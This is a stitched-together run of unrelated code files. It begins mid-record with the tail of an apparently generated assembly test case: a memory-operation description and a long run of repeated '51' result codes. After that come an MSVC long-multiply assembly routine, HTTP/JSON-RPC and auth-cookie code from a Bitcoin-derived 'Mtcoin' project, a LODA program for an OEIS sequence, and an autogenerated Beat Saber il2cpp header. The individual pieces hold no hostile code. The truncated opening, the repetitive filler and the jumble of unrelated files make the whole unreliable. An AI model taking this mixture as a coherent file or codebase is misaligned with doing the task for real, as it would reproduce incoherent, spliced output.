'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}} {'00': 42, '51': 21787} 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 */
;******************************************************************************* ;llmul.asm - long multiply routine ; ; Copyright (c) Microsoft Corporation. All rights reserved. ; ;Purpose: ; Defines long multiply routine ; Both signed and unsigned routines are the same, since multiply's ; work out the same in 2's complement ; creates the following routine: ; __allmul ; ;******************************************************************************* include hal.inc ;*** ;llmul - long multiply routine ; ;Purpose: ; Does a long multiply (same for signed/unsigned) ; Parameters are not changed. ; ;Entry: ; Parameters are passed on the stack: ; 1st pushed: multiplier (QWORD) ; 2nd pushed: multiplicand (QWORD) ; ;Exit: ; EDX:EAX - product of multiplier and multiplicand ; NOTE: parameters are removed from the stack ; ;Uses: ; ECX ; ;Exceptions: ; ;******************************************************************************* __allmul PROC NEAR A EQU [esp + 4] ; stack address of a B EQU [esp + 12] ; stack address of b ; ; AHI, BHI : upper 32 bits of A and B ; ALO, BLO : lower 32 bits of A and B ; ; ALO * BLO ; ALO * BHI ; + BLO * AHI ; --------------------- ; mov eax,HIWORD(A) mov ecx,HIWORD(B) or ecx,eax ;test for both hiwords zero. mov ecx,LOWORD(B) jnz short hard ;both are zero, just mult ALO and BLO mov eax,LOWORD(A) mul ecx ret 16 ; callee restores the stack hard: push ebx ; must redefine A and B since esp has been altered A2 EQU [esp + 8] ; stack address of a B2 EQU [esp + 16] ; stack address of b mul ecx ;eax has AHI, ecx has BLO, so AHI * BLO mov ebx,eax ;save result mov eax,LOWORD(A2) mul dword ptr HIWORD(B2) ;ALO * BHI add ebx,eax ;ebx = ((ALO * BHI) + (AHI * BLO)) mov eax,LOWORD(A2) ;ecx = BLO mul ecx ;so edx:eax = ALO*BLO add edx,ebx ;now edx has all the LO*HI stuff pop ebx ret 16 ; callee restores the stack __allmul ENDP end
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2009-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2017 The PIVX developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "rpcprotocol.h" #include "clientversion.h" #include "random.h" #include "tinyformat.h" #include "util.h" #include "utilstrencodings.h" #include "utiltime.h" #include "version.h" #include <stdint.h> #include <fstream> #include <boost/algorithm/string.hpp> #include <boost/asio.hpp> #include <boost/asio/ssl.hpp> #include <boost/bind.hpp> #include <boost/filesystem.hpp> #include <boost/foreach.hpp> #include <boost/iostreams/concepts.hpp> #include <boost/iostreams/stream.hpp> #include <boost/shared_ptr.hpp> #include <univalue.h> using namespace std; using namespace boost; using namespace boost::asio; //! Number of bytes to allocate and read at most at once in post data const size_t POST_READ_SIZE = 256 * 1024; /** * HTTP protocol * * This ain't Apache. We're just using HTTP header for the length field * and to be compatible with other JSON-RPC implementations. */ string HTTPPost(const string& strMsg, const map<string, string>& mapRequestHeaders) { ostringstream s; s << "POST / HTTP/1.1\r\n" << "User-Agent: mtcoin-json-rpc/" << FormatFullVersion() << "\r\n" << "Host: 127.0.0.1\r\n" << "Content-Type: application/json\r\n" << "Content-Length: " << strMsg.size() << "\r\n" << "Connection: close\r\n" << "Accept: application/json\r\n"; BOOST_FOREACH (const PAIRTYPE(string, string) & item, mapRequestHeaders) s << item.first << ": " << item.second << "\r\n"; s << "\r\n" << strMsg; return s.str(); } static string rfc1123Time() { return DateTimeStrFormat("%a, %d %b %Y %H:%M:%S +0000", GetTime()); } static const char* httpStatusDescription(int nStatus) { switch (nStatus) { case HTTP_OK: return "OK"; case HTTP_BAD_REQUEST: return "Bad Request"; case HTTP_FORBIDDEN: return "Forbidden"; case HTTP_NOT_FOUND: return "Not Found"; case HTTP_INTERNAL_SERVER_ERROR: return "Internal Server Error"; default: return ""; } } string HTTPError(int nStatus, bool keepalive, bool headersOnly) { if (nStatus == HTTP_UNAUTHORIZED) return strprintf("HTTP/1.0 401 Authorization Required\r\n" "Date: %s\r\n" "Server: mtcoin-json-rpc/%s\r\n" "WWW-Authenticate: Basic realm=\"jsonrpc\"\r\n" "Content-Type: text/html\r\n" "Content-Length: 296\r\n" "\r\n" "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\r\n" "\"http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd\">\r\n" "<HTML>\r\n" "<HEAD>\r\n" "<TITLE>Error</TITLE>\r\n" "<META HTTP-EQUIV='Content-Type' CONTENT='text/html; charset=ISO-8859-1'>\r\n" "</HEAD>\r\n" "<BODY><H1>401 Unauthorized.</H1></BODY>\r\n" "</HTML>\r\n", rfc1123Time(), FormatFullVersion()); return HTTPReply(nStatus, httpStatusDescription(nStatus), keepalive, headersOnly, "text/plain"); } string HTTPReplyHeader(int nStatus, bool keepalive, size_t contentLength, const char* contentType) { return strprintf( "HTTP/1.1 %d %s\r\n" "Date: %s\r\n" "Connection: %s\r\n" "Content-Length: %u\r\n" "Content-Type: %s\r\n" "Server: mtcoin-json-rpc/%s\r\n" "\r\n", nStatus, httpStatusDescription(nStatus), rfc1123Time(), keepalive ? "keep-alive" : "close", contentLength, contentType, FormatFullVersion()); } string HTTPReply(int nStatus, const string& strMsg, bool keepalive, bool headersOnly, const char* contentType) { if (headersOnly) { return HTTPReplyHeader(nStatus, keepalive, 0, contentType); } else { return HTTPReplyHeader(nStatus, keepalive, strMsg.size(), contentType) + strMsg; } } bool ReadHTTPRequestLine(std::basic_istream<char>& stream, int& proto, string& http_method, string& http_uri) { string str; getline(stream, str); // HTTP request line is space-delimited vector<string> vWords; boost::split(vWords, str, boost::is_any_of(" ")); if (vWords.size() < 2) return false; // HTTP methods permitted: GET, POST http_method = vWords[0]; if (http_method != "GET" && http_method != "POST") return false; // HTTP URI must be an absolute path, relative to current host http_uri = vWords[1]; if (http_uri.size() == 0 || http_uri[0] != '/') return false; // parse proto, if present string strProto = ""; if (vWords.size() > 2) strProto = vWords[2]; proto = 0; const char* ver = strstr(strProto.c_str(), "HTTP/1."); if (ver != NULL) proto = atoi(ver + 7); return true; } int ReadHTTPStatus(std::basic_istream<char>& stream, int& proto) { string str; getline(stream, str); //LogPrintf("ReadHTTPStatus - getline string: %s\n",str.c_str()); vector<string> vWords; boost::split(vWords, str, boost::is_any_of(" ")); if (vWords.size() < 2) return HTTP_INTERNAL_SERVER_ERROR; proto = 0; const char* ver = strstr(str.c_str(), "HTTP/1."); if (ver != NULL) proto = atoi(ver + 7); return atoi(vWords[1].c_str()); } int ReadHTTPHeaders(std::basic_istream<char>& stream, map<string, string>& mapHeadersRet) { int nLen = 0; while (true) { string str; std::getline(stream, str); if (str.empty() || str == "\r") break; string::size_type nColon = str.find(":"); if (nColon != string::npos) { string strHeader = str.substr(0, nColon); boost::trim(strHeader); boost::to_lower(strHeader); string strValue = str.substr(nColon + 1); boost::trim(strValue); mapHeadersRet[strHeader] = strValue; if (strHeader == "content-length") nLen = atoi(strValue.c_str()); } } return nLen; } int ReadHTTPMessage(std::basic_istream<char>& stream, map<string, string>& mapHeadersRet, string& strMessageRet, int nProto, size_t max_size) { mapHeadersRet.clear(); strMessageRet = ""; // Read header int nLen = ReadHTTPHeaders(stream, mapHeadersRet); if (nLen < 0 || (size_t)nLen > max_size) return HTTP_INTERNAL_SERVER_ERROR; // Read message if (nLen > 0) { vector<char> vch; size_t ptr = 0; while (ptr < (size_t)nLen) { size_t bytes_to_read = std::min((size_t)nLen - ptr, POST_READ_SIZE); vch.resize(ptr + bytes_to_read); stream.read(&vch[ptr], bytes_to_read); if (!stream) // Connection lost while reading return HTTP_INTERNAL_SERVER_ERROR; ptr += bytes_to_read; } strMessageRet = string(vch.begin(), vch.end()); } string sConHdr = mapHeadersRet["connection"]; if ((sConHdr != "close") && (sConHdr != "keep-alive")) { if (nProto >= 1) mapHeadersRet["connection"] = "keep-alive"; else mapHeadersRet["connection"] = "close"; } return HTTP_OK; } /** * JSON-RPC protocol. Mtcoin speaks version 1.0 for maximum compatibility, * but uses JSON-RPC 1.1/2.0 standards for parts of the 1.0 standard that were * unspecified (HTTP errors and contents of 'error'). * * 1.0 spec: http://json-rpc.org/wiki/specification * 1.2 spec: http://jsonrpc.org/historical/json-rpc-over-http.html * http://www.codeproject.com/KB/recipes/JSON_Spirit.aspx */ string JSONRPCRequest(const string& strMethod, const UniValue& params, const UniValue& id) { UniValue request(UniValue::VOBJ); request.push_back(Pair("method", strMethod)); request.push_back(Pair("params", params)); request.push_back(Pair("id", id)); return request.write() + "\n"; } UniValue JSONRPCReplyObj(const UniValue& result, const UniValue& error, const UniValue& id) { UniValue reply(UniValue::VOBJ); if (!error.isNull()) reply.push_back(Pair("result", NullUniValue)); else reply.push_back(Pair("result", result)); reply.push_back(Pair("error", error)); reply.push_back(Pair("id", id)); return reply; } string JSONRPCReply(const UniValue& result, const UniValue& error, const UniValue& id) { UniValue reply = JSONRPCReplyObj(result, error, id); return reply.write() + "\n"; } UniValue JSONRPCError(int code, const string& message) { UniValue error(UniValue::VOBJ); error.push_back(Pair("code", code)); error.push_back(Pair("message", message)); return error; } /** Username used when cookie authentication is in use (arbitrary, only for * recognizability in debugging/logging purposes) */ static const std::string COOKIEAUTH_USER = "__cookie__"; /** Default name for auth cookie file */ static const std::string COOKIEAUTH_FILE = ".cookie"; boost::filesystem::path GetAuthCookieFile() { boost::filesystem::path path(GetArg("-rpccookiefile", COOKIEAUTH_FILE)); if (!path.is_complete()) path = GetDataDir() / path; return path; } bool GenerateAuthCookie(std::string *cookie_out) { unsigned char rand_pwd[32]; GetRandBytes(rand_pwd, 32); std::string cookie = COOKIEAUTH_USER + ":" + EncodeBase64(&rand_pwd[0],32); /** the umask determines what permissions are used to create this file - * these are set to 077 in init.cpp unless overridden with -sysperms. */ std::ofstream file; boost::filesystem::path filepath = GetAuthCookieFile(); file.open(filepath.string().c_str()); if (!file.is_open()) { LogPrintf("Unable to open cookie authentication file %s for writing\n", filepath.string()); return false; } file << cookie; file.close(); LogPrintf("Generated RPC authentication cookie %s\n", filepath.string()); if (cookie_out) *cookie_out = cookie; return true; } bool GetAuthCookie(std::string *cookie_out) { std::ifstream file; std::string cookie; boost::filesystem::path filepath = GetAuthCookieFile(); file.open(filepath.string().c_str()); if (!file.is_open()) return false; std::getline(file, cookie); file.close(); if (cookie_out) *cookie_out = cookie; return true; } void DeleteAuthCookie() { try { boost::filesystem::remove(GetAuthCookieFile()); } catch (const boost::filesystem::filesystem_error& e) { LogPrintf("%s: Unable to remove random auth cookie file: %s\n", __func__, e.what()); } }
; A233904: a(2n) = a(n) - n, a(2n+1) = a(n) + n, with a(0)=0. ; 0,0,-1,1,-3,1,-2,4,-7,1,-4,6,-8,4,-3,11,-15,1,-8,10,-14,6,-5,17,-20,4,-9,17,-17,11,-4,26,-31,1,-16,18,-26,10,-9,29,-34,6,-15,27,-27,17,-6,40,-44,4,-21,29,-35,17,-10,44,-45,11,-18,40,-34,26,-5,57,-63,1,-32,34,-50,18,-17,53,-62,10,-27,47,-47,29,-10,68,-74,6,-35,47,-57,27,-16,70,-71,17,-28,62,-52,40,-7,87,-92,4,-45,53,-71,29,-22,80,-87,17,-36,70,-64,44,-11,99,-101,11,-46,68,-76,40,-19,99,-94,26,-35,87,-67,57,-6,120,-127,1,-64,66,-98,34,-33,101,-118,18,-51,87,-87,53,-18,124,-134,10,-63,83,-101,47,-28,122,-123,29,-48,106,-88,68,-11,147,-154,6,-75,87,-117,47,-36,130,-141,27,-58,112,-102,70,-17,157,-159,17,-72,106,-118,62,-29,153,-144,40,-53,133,-101,87,-8,182,-188,4,-93,101,-143,53,-46,152,-171,29,-72,130,-124,80,-23,183,-191,17,-88,122,-142,70,-37,177,-172,44,-65,153,-121,99,-12,210,-213,11,-102,124,-160,68,-47,183,-192,40,-77,157,-137,99,-20,218,-214,26,-95,147,-157,87,-36,210,-191,57 sub $1,$0 lpb $0,1 lpb $0,1 add $1,$0 div $0,2 mul $0,2 lpe div $0,2 lpe
// Autogenerated from CppHeaderCreator // Created by Sc2ad // ========================================================================= #pragma once // Begin includes #include "extern/beatsaber-hook/shared/utils/typedefs.h" #include "extern/beatsaber-hook/shared/utils/byref.hpp" // Including type: OVRInput #include "GlobalNamespace/OVRInput.hpp" // Including type: System.Enum #include "System/Enum.hpp" // Completed includes // Type namespace: namespace GlobalNamespace { // Size: 0x4 #pragma pack(push, 1) // Autogenerated type: OVRInput/RawAxis2D // [TokenAttribute] Offset: FFFFFFFF // [FlagsAttribute] Offset: FFFFFFFF struct OVRInput::RawAxis2D/*, public System::Enum*/ { public: // public System.Int32 value__ // Size: 0x4 // Offset: 0x0 int value; // Field size check static_assert(sizeof(int) == 0x4); // Creating value type constructor for type: RawAxis2D constexpr RawAxis2D(int value_ = {}) noexcept : value{value_} {} // Creating interface conversion operator: operator System::Enum operator System::Enum() noexcept { return *reinterpret_cast<System::Enum*>(this); } // Creating conversion operator: operator int constexpr operator int() const noexcept { return value; } // static field const value: static public OVRInput/RawAxis2D None static constexpr const int None = 0; // Get static field: static public OVRInput/RawAxis2D None static GlobalNamespace::OVRInput::RawAxis2D _get_None(); // Set static field: static public OVRInput/RawAxis2D None static void _set_None(GlobalNamespace::OVRInput::RawAxis2D value); // static field const value: static public OVRInput/RawAxis2D LThumbstick static constexpr const int LThumbstick = 1; // Get static field: static public OVRInput/RawAxis2D LThumbstick static GlobalNamespace::OVRInput::RawAxis2D _get_LThumbstick(); // Set static field: static public OVRInput/RawAxis2D LThumbstick static void _set_LThumbstick(GlobalNamespace::OVRInput::RawAxis2D value); // static field const value: static public OVRInput/RawAxis2D LTouchpad static constexpr const int LTouchpad = 4; // Get static field: static public OVRInput/RawAxis2D LTouchpad static GlobalNamespace::OVRInput::RawAxis2D _get_LTouchpad(); // Set static field: static public OVRInput/RawAxis2D LTouchpad static void _set_LTouchpad(GlobalNamespace::OVRInput::RawAxis2D value); // static field const value: static public OVRInput/RawAxis2D RThumbstick static constexpr const int RThumbstick = 2; // Get static field: static public OVRInput/RawAxis2D RThumbstick static GlobalNamespace::OVRInput::RawAxis2D _get_RThumbstick(); // Set static field: static public OVRInput/RawAxis2D RThumbstick static void _set_RThumbstick(GlobalNamespace::OVRInput::RawAxis2D value); // static field const value: static public OVRInput/RawAxis2D RTouchpad static constexpr const int RTouchpad = 8; // Get static field: static public OVRInput/RawAxis2D RTouchpad static GlobalNamespace::OVRInput::RawAxis2D _get_RTouchpad(); // Set static field: static public OVRInput/RawAxis2D RTouchpad static void _set_RTouchpad(GlobalNamespace::OVRInput::RawAxis2D value); // static field const value: static public OVRInput/RawAxis2D Any static constexpr const int Any = -1; // Get static field: static public OVRInput/RawAxis2D Any static GlobalNamespace::OVRInput::RawAxis2D _get_Any(); // Set static field: static public OVRInput/RawAxis2D Any static void _set_Any(GlobalNamespace::OVRInput::RawAxis2D value); // Get instance field reference: public System.Int32 value__ int& dyn_value__(); }; // OVRInput/RawAxis2D #pragma pack(pop) static check_size<sizeof(OVRInput::RawAxis2D), 0 + sizeof(int)> __GlobalNamespace_OVRInput_RawAxis2DSizeCheck; static_assert(sizeof(OVRInput::RawAxis2D) == 0x4); } #include "extern/beatsaber-hook/shared/utils/il2cpp-type-check.hpp" DEFINE_IL2CPP_ARG_TYPE(GlobalNamespace::OVRInput::RawAxis2D, "", "OVRInput/RawAxis2D"); #include "extern/beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp"